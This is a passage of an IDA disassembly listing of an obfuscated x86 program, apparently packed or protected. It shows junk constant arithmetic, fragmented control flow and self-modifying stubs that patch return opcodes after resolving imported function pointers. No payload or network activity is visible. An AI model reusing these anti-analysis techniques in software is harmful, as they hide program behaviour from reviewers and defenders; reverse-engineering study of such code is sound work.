; FUNCTION CHUNK AT 0044848E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044A447 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044A47C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044AA97 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044AC88 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CA2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CE75 SIZE 0000001D BYTES

		push	ebp
		pop	edx
		xchg	edx, [esp-8+arg_4]
		mov	ebp, esp
		push	ecx
		jmp	loc_44848E
sub_44B489	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44B496:				; CODE XREF: y22d6.y.:loc_44B9E3j
		xchg	ebx, [esp]
		push	90291550h
		pop	edx
		add	edx, 5DC6649h
		or	edx, 5E676F1Ah
		add	edx, 42797602h
		jmp	loc_43CF71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_44B4B6:				; CODE XREF: sub_449641:loc_44887Dj
		lea	eax, nullsub_9
		call	sub_444F2B

loc_44B4C1:				; CODE XREF: sub_444871-3EDDj
		jmp	loc_43DB2B
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44B4C6:				; CODE XREF: sub_44BCC2-D263j
		jmp	loc_44D762
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449ECF

loc_44B4CB:				; CODE XREF: sub_449ECF-E4B0j
		jmp	loc_43A6B3
; END OF FUNCTION CHUNK	FOR sub_449ECF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B4D0:				; CODE XREF: sub_448EB6:loc_43759Aj
		test	edx, 800000h
		jmp	loc_43E8F0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_44B4DB:				; CODE XREF: sub_4441D9+3F6Dj
		cmp	esi, ebp
		jmp	loc_44C0F2
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------
		cmp	edx, 8FD15571h
		jmp	loc_4390D9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_44B4EE:				; CODE XREF: sub_448C77-ACA5j
		jmp	loc_4382BC
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F1F

loc_44B4F3:				; CODE XREF: sub_446F1F+10j
		add	esi, 348B407Eh
		xchg	esi, [esp-4+arg_0]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_446F1F
; ---------------------------------------------------------------------------
		mov	ds:off_41E100, eax
		lea	eax, loc_442502
		mov	byte ptr [eax],	0C3h
		jmp	loc_44AB54

; =============== S U B	R O U T	I N E =======================================



sub_44B515	proc near		; CODE XREF: .text:00416868p
					; sub_44B515+5j
					; DATA XREF: ...
		call	sub_44633F
		jmp	ds:off_41E104
sub_44B515	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445DB1

loc_44B520:				; CODE XREF: sub_445DB1+1Aj
		jmp	nullsub_172
; END OF FUNCTION CHUNK	FOR sub_445DB1
; ---------------------------------------------------------------------------

loc_44B525:				; CODE XREF: y22d6.y.:0043FBFDj
		jmp	loc_43EB52
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E168
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	al, 24h
		mov	edx, ecx

loc_44B535:				; CODE XREF: y22d6.y.:loc_439C09j
		pop	ecx
		jmp	loc_438551
; ---------------------------------------------------------------------------

loc_44B53B:				; DATA XREF: sub_4432B8:loc_43863Co
		movzx	eax, word ptr [ebp-6]
		jmp	loc_44E594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_44B544:				; CODE XREF: sub_438B66:loc_444B53j
		cmp	dword ptr [ebp-20h], 0
		jge	loc_44A7F5
		jmp	loc_447D90
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_44B553:				; CODE XREF: sub_44439D:loc_43FEBBj
		jnz	loc_44292E
; END OF FUNCTION CHUNK	FOR sub_44439D
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44B559:				; CODE XREF: sub_4432B8+A7j
		jmp	sub_44D83F
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_44B55E:				; CODE XREF: sub_444581-2A7Bj
		jmp	loc_449773
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		sbb	esi, ebp
		jmp	loc_44292C
; ---------------------------------------------------------------------------

loc_44B56A:				; DATA XREF: sub_43AD2F+EE27o
		push	esi
		push	eax
		pop	esi
		xchg	esi, [esp]
		call	sub_441D5D

loc_44B575:				; CODE XREF: y22d6.y.:0044BB32j
		jmp	loc_447105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_44B57A:				; CODE XREF: sub_44B674+3j
		jmp	loc_440882
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_44B57F:				; CODE XREF: sub_441A2B-4579j
		jmp	loc_44D751
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44B584:				; CODE XREF: sub_44057E+CCDAj
		jnb	loc_43DCEC

loc_44B58A:				; CODE XREF: y22d6.y.:loc_446F53j
		jmp	loc_44005E
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B590:				; CODE XREF: y22d6.y.:0044015Aj
		jmp	loc_44AD84
; ---------------------------------------------------------------------------

loc_44B595:				; CODE XREF: y22d6.y.:loc_43964Dj
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		push	offset loc_43A0D2
		jmp	loc_43BC9F
; ---------------------------------------------------------------------------

loc_44B5A4:				; CODE XREF: y22d6.y.:00449805j
		jz	loc_437A55
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_44B5AA:				; CODE XREF: sub_44D7E0:loc_442B50j
		or	eax, 957BB337h

loc_44B5B0:				; CODE XREF: y22d6.y.:loc_43C13Dj
		add	eax, 42F13CDDh
		cmp	eax, 1D6408D8h
		jmp	loc_444994
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_44B5C1:				; CODE XREF: sub_43EC01:loc_43EFACj
		mov	byte ptr [eax],	0C3h
		jmp	loc_4383D5
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
		call	nullsub_15
		jmp	ds:dword_41E174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_44B5D4:				; CODE XREF: sub_43C55B+6CCFj
		jmp	loc_442624
; END OF FUNCTION CHUNK	FOR sub_43C55B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_446321
; ---------------------------------------------------------------------------
		jmp	ds:off_41E074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44B5E5:				; CODE XREF: sub_437B43+10BCDj
		jmp	loc_43F1F9
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_44B5EA:				; CODE XREF: y22d6.y.:0043DC44j
					; sub_444865:loc_443EE7j ...
		pop	edx
		jnb	loc_43DC49
		mov	eax, [esp-4+arg_0]
		jmp	loc_44BF62
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44146B

loc_44B5F9:				; CODE XREF: sub_44146B+10j
		or	edx, 0D7C24146h
		add	edx, 86C25ECh
		xchg	edx, [esp-4+arg_0]
		jmp	loc_44611F
; END OF FUNCTION CHUNK	FOR sub_44146B
; ---------------------------------------------------------------------------

loc_44B60D:				; CODE XREF: y22d6.y.:loc_437BCFj
		call	sub_44CAD8
; START	OF FUNCTION CHUNK FOR sub_438A6F

loc_44B612:				; CODE XREF: sub_438A6F+3B40j
		jmp	loc_43DAF5
; END OF FUNCTION CHUNK	FOR sub_438A6F
; ---------------------------------------------------------------------------
		adc	edx, edi
		jmp	sub_44243B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_44B61E:				; CODE XREF: sub_43F750+8AFFj
		jnz	loc_4407E2
		jmp	loc_44A9BD
; END OF FUNCTION CHUNK	FOR sub_43F750

; =============== S U B	R O U T	I N E =======================================



sub_44B629	proc near		; CODE XREF: y22d6.y.:0043CD0Cp
					; y22d6.y.:00448E6Cj

; FUNCTION CHUNK AT 0044A58B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A58B
sub_44B629	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44B635	proc near		; CODE XREF: sub_401000+E1p
					; sub_401BBC+1Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043708E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00439D6C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B1BF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043DFFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F60A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443A69 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446267 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004473C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004475F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447BD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00448C4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B3C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D676 SIZE 00000005 BYTES

		jnz	loc_443A69
		mov	eax, ds:dword_444394
		or	eax, eax
		jnz	loc_43708E
		jmp	loc_446267
sub_44B635	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_44B64E:				; CODE XREF: sub_4383E0+D007j
					; y22d6.y.:00445CC1j
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_43DF1F
; END OF FUNCTION CHUNK	FOR sub_4383E0
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_44B658:				; CODE XREF: sub_4477E6-5355j
		jmp	loc_44108A
; END OF FUNCTION CHUNK	FOR sub_4477E6

; =============== S U B	R O U T	I N E =======================================



sub_44B65D	proc near		; DATA XREF: sub_4432B8:loc_43806Do

var_4		= dword	ptr -4

		rol	eax, 1Ah
		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		retn
sub_44B65D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC51

loc_44B667:				; CODE XREF: sub_43BC51+9j
		pop	ebx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43BC51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44B66A:				; CODE XREF: sub_4432B8+4C09j
		jmp	nullsub_219
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44B66F:				; CODE XREF: y22d6.y.:0043A34Fj
		jmp	loc_43BA48

; =============== S U B	R O U T	I N E =======================================



sub_44B674	proc near		; CODE XREF: y22d6.y.:00437020p
					; sub_43DB23-485Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437BB8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438527 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00439B48 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BD7D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E216 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440882 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441BC7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442A81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442AA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444ECB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00449683 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00449CD3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B57A SIZE 00000005 BYTES

		push	esi
		mov	esi, ebp
		jmp	loc_44B57A
sub_44B674	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_44B67C:				; CODE XREF: sub_44D7E0:loc_43D657j
		pop	edx
		and	edx, 0D04447B1h
		or	edx, 409A1E19h
		call	sub_43C6C5
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; START	OF FUNCTION CHUNK FOR sub_4397E6

loc_44B68E:				; CODE XREF: sub_4397E6+107DFj
		jmp	nullsub_175
; END OF FUNCTION CHUNK	FOR sub_4397E6
; ---------------------------------------------------------------------------

loc_44B693:				; CODE XREF: y22d6.y.:0043CBEEj
		jmp	nullsub_16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B698:				; CODE XREF: sub_448EB6-DE3Ej
		jmp	loc_43E839
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_44B69D:				; CODE XREF: sub_441030:loc_43C03Aj
		push	offset loc_438CC8
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_44B6A7:				; CODE XREF: sub_44156E-6ECBj
		xchg	ecx, [esp-8+arg_4]
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_44156E
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D93B1BE7h, 0FEBDA6E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B6BA:				; CODE XREF: y22d6.y.:0043FCA1j
		jmp	loc_444EE9
; ---------------------------------------------------------------------------

loc_44B6BF:				; CODE XREF: y22d6.y.:0043A7E6j
		jmp	loc_437A88
; ---------------------------------------------------------------------------

loc_44B6C4:				; DATA XREF: sub_4431CD:loc_442502o
		jnb	loc_44B76F
		pop	edx
		mov	eax, [esp]
		push	offset loc_439E43
		jmp	loc_43D850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_44B6D8:				; CODE XREF: sub_4422AA:loc_43ACC6j
		jnz	loc_4399F4
		jge	nullsub_177
		popf
		jmp	loc_4399F4
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_44B6EA:				; CODE XREF: sub_43E86C:loc_43DBCDj
		add	edi, 0C63975F1h
		and	edi, 0AF1F2A19h
		add	edi, 5DE7D7FBh
		add	eax, edi
		call	sub_4404E5

loc_44B703:				; CODE XREF: sub_43B7D4+12B23j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44B25F
		jmp	loc_437629
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
		push	esi
		push	0C679CF13h
		xchg	eax, [esp]
		mov	esi, eax
		pop	eax
		sub	esi, 5E8E6A8Eh
		or	esi, 0B81A8104h
		jmp	loc_447A53
; ---------------------------------------------------------------------------

loc_44B730:				; CODE XREF: y22d6.y.:0043D890j
		not	edx

loc_44B732:				; CODE XREF: y22d6.y.:loc_43A6C0j
		push	3684E5C3h
		pop	eax
		and	eax, 904FA851h
		jmp	loc_442C8C
; ---------------------------------------------------------------------------

loc_44B743:				; CODE XREF: y22d6.y.:0043E7A6j
		pop	esi
		xor	esi, 0E17E7B0Dh
		rol	esi, 18h
		add	esi, 0BD238DA7h
		mov	[esi], eax
		pop	esi
		jmp	near ptr dword_4388F0+3Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_44B75B:				; CODE XREF: sub_44066C+C6Cj
		and	edi, 5DD75520h
		pushf
		jmp	loc_43738E
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_44B767:				; CODE XREF: sub_44921D+4F7Bj
		mov	byte ptr [eax],	0C3h
		jmp	loc_442502
; END OF FUNCTION CHUNK	FOR sub_44921D
; ---------------------------------------------------------------------------

loc_44B76F:				; CODE XREF: y22d6.y.:loc_44B6C4j
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_444BE9
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_44941D
		jmp	loc_43C155
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B78B:				; CODE XREF: sub_448EB6:loc_448826j
		xchg	edi, [esp-8+arg_4]
		push	7491579Ah
		xchg	esi, [esp-4+arg_0]
		mov	ebx, esi
		pop	esi
		add	ebx, 1D3A1AE4h
		and	ebx, 603809E0h
		cmp	ebx, 1BB0766Bh
		jmp	loc_4451BC
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		cmp	ebx, 4EC5F909h
		jmp	loc_448E38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44B7BB:				; CODE XREF: sub_44B17B:loc_43C4B6j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_440F58
		jmp	loc_43E637
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B7CC:				; CODE XREF: sub_448EB6:loc_441F76j
					; sub_448EB6-1E30j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h

loc_44B7D2:				; CODE XREF: sub_44B17B-A752j
		jnz	loc_44919A
		jmp	loc_43EAAA
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	ebx, ebx
		mov	ebp, 8B5AFFFEh
		add	al, 24h
		push	offset sub_44A947
		jmp	loc_448651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_44B7F1:				; CODE XREF: sub_44A095+Dj
		jz	loc_44A7DE
		jmp	loc_442F1C
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------
		mov	ds:off_41E0A8, eax
		lea	eax, loc_44ABF4
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ABF4

; =============== S U B	R O U T	I N E =======================================



sub_44B810	proc near		; CODE XREF: sub_402B8C+20p
					; sub_419DC4+22p ...
		call	sub_44B81B
		jmp	ds:off_41E0AC
sub_44B810	endp


; =============== S U B	R O U T	I N E =======================================



sub_44B81B	proc near		; CODE XREF: sub_437236+7j
					; sub_43C712-2342j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00437242 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043737F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B323 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CF2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E221 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004441B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004457B3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00446F9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A14 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044AC2F SIZE 0000000E BYTES

		jns	loc_437242
		jmp	loc_43E221
sub_44B81B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44B826:				; CODE XREF: sub_43704E+2B59j
		pushf
		mov	ebx, edx
		xchg	edx, [edi]
		or	ebx, 79C2533Fh

loc_44B831:				; CODE XREF: sub_43704E:loc_43FADFj
		push	0F31EC361h
		jmp	loc_43D268
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C7F1

loc_44B83B:				; CODE XREF: sub_44C7F1:loc_44C808j
		mov	edx, [eax]
		cmp	esi, ecx
		jmp	loc_4483C8
; END OF FUNCTION CHUNK	FOR sub_44C7F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB31

loc_44B844:				; CODE XREF: sub_43AB31:loc_445301j
		mov	eax, [ebp+var_C]
		cmp	byte ptr [eax],	0
		jnz	loc_4375FF
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		jmp	loc_444FA9
; END OF FUNCTION CHUNK	FOR sub_43AB31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44B85B:				; CODE XREF: sub_44B1D2:loc_43B6C7j
		jz	loc_437CFE
		jmp	loc_443163
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C41

loc_44B866:				; CODE XREF: sub_442C41+Aj
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 80h
		jz	loc_43C3B8
		inc	dword ptr [ebp-8]
		jmp	loc_440359
; END OF FUNCTION CHUNK	FOR sub_442C41
; ---------------------------------------------------------------------------

loc_44B87E:				; CODE XREF: y22d6.y.:00445204j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_44B87F:				; CODE XREF: sub_43FAC6+4271j
		push	66E39D1Ch
		pop	edx
		sub	edx, 8EF320DAh
		or	edx, 0FCCD363Fh
		test	edx, 100000h
		jmp	loc_4392EE
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_44B89C:				; DATA XREF: sub_44825F+614Do
		lea	eax, sub_44A793
		mov	byte ptr [eax],	0C3h
		jmp	sub_44A793
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A793

loc_44B8AA:				; CODE XREF: sub_44C7F1:loc_4483C8j
					; sub_44A793+1j
		mov	eax, [esp-4+arg_0]
		push	edx
		push	offset sub_44CFA4
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_44A793
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E38B

loc_44B8B8:				; CODE XREF: sub_44E38B-B67Fj
		adc	ebx, 0F09EA790h
		cmp	eax, 0F8354A24h
		jmp	loc_444C7C
; END OF FUNCTION CHUNK	FOR sub_44E38B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_44B8C9:				; CODE XREF: sub_43ED4E:loc_4395CCj
		jnz	loc_4452BD
		jmp	loc_43DE90
; END OF FUNCTION CHUNK	FOR sub_43ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_44B8D4:				; CODE XREF: sub_4416CB:loc_4380BEj
		call	sub_43E913
		mov	eax, 19EDC823h
		call	sub_43CA1A
		mov	ds:off_41E1A4, eax
		lea	eax, sub_4416CB
		mov	byte ptr [eax],	0C3h
		jmp	sub_4416CB
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442770

loc_44B8F7:				; CODE XREF: sub_442770+B575j
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	6Ch
		call	sub_44BBBA
; END OF FUNCTION CHUNK	FOR sub_442770
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44B902:				; CODE XREF: sub_44271A+Bj
		pop	eax
		and	eax, 1B3C0972h
		add	eax, 22D6AA0Ah
		sub	eax, 29A1490Eh
		jmp	loc_444AF9
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44B91A:				; CODE XREF: sub_44BCC2-A567j
		jnz	loc_443E3C
		jmp	loc_43B55B
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44B925:				; CODE XREF: sub_441C69:loc_437A16j
					; sub_4432B8:loc_43B547j
		sub	ecx, 0B5B5674Fh

loc_44B92B:				; CODE XREF: y22d6.y.:loc_441A9Ej
		xor	ecx, 0BE4B1F7Eh
		add	ecx, 4088D988h
		add	ecx, ebp
		jmp	loc_44C779
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		and	ecx, 0A1E1336Fh
		jmp	sub_43BA9E
; ---------------------------------------------------------------------------

locret_44B949:				; CODE XREF: y22d6.y.:0043EAF7j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_44B94A:				; CODE XREF: sub_44E242+Bj
		jmp	loc_445076
; END OF FUNCTION CHUNK	FOR sub_44E242
; ---------------------------------------------------------------------------

loc_44B94F:				; CODE XREF: y22d6.y.:004482A3j
		add	eax, ebp
		add	eax, 8A3717D7h
		mov	eax, [eax]
		popf
		push	ebx
		push	offset sub_4389FD
		jmp	locret_43F3D2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_44B966:				; CODE XREF: sub_44BBBA-108Aj
		jmp	loc_438130
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44B96B:				; CODE XREF: sub_4432B8-2136j
		jmp	loc_440850
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_44B970:				; CODE XREF: sub_4383E0:loc_4453EDj
		jz	loc_447747
		jmp	loc_43D189
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447D7F

loc_44B97B:				; CODE XREF: sub_447D7F-4DB2j
		xchg	esi, [ebp+0]
		xchg	ecx, esi

loc_44B980:				; CODE XREF: sub_447D7F:loc_442FC3j
		add	esi, 0CC92F47Dh
		mov	[esi], eax
		pop	esi

loc_44B989:				; CODE XREF: sub_43C52Aj
		lea	eax, sub_440CE6
		mov	byte ptr [eax],	0C3h
		jmp	sub_440CE6
; END OF FUNCTION CHUNK	FOR sub_447D7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CE6

loc_44B997:				; CODE XREF: sub_440CE6:loc_447EC6j
		push	offset loc_448615
		jmp	nullsub_210
; END OF FUNCTION CHUNK	FOR sub_440CE6
; ---------------------------------------------------------------------------

loc_44B9A1:				; CODE XREF: y22d6.y.:00445D53j
		pop	eax
		rol	eax, 1
		xor	eax, 28E1AE68h
		call	sub_43CA1A
		push	edi
		push	99B570BCh
		jmp	near ptr dword_4388F0+26h
; ---------------------------------------------------------------------------

loc_44B9BA:				; DATA XREF: sub_44C194-2E33o
		pushf
		push	5522381Fh
		pop	edx
		xor	edx, 0EC7AB06h
		add	edx, 7004C1D6h
		or	edx, 1C4C2DD7h
		jmp	loc_442282
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E51C

loc_44B9D8:				; CODE XREF: sub_44E51C:loc_43C855j
		jl	loc_43A30D
; END OF FUNCTION CHUNK	FOR sub_44E51C
; START	OF FUNCTION CHUNK FOR sub_44C8E9

loc_44B9DE:				; CODE XREF: sub_44C8E9+Aj
		jmp	loc_43A3D5
; END OF FUNCTION CHUNK	FOR sub_44C8E9
; ---------------------------------------------------------------------------

loc_44B9E3:				; CODE XREF: y22d6.y.:0043CDD2j
		jmp	loc_44B496
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_44B9E8:				; CODE XREF: sub_44BBBA-11127j
		jmp	loc_438220
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
		pop	edx
		add	ecx, 0D33BC486h
		cdq
		xchg	edx, esi
		add	edx, edi
		jmp	loc_43A30D
; ---------------------------------------------------------------------------

loc_44B9FE:				; CODE XREF: y22d6.y.:loc_4459B4j
		call	sub_43CA1A
		mov	ds:off_41E060, eax
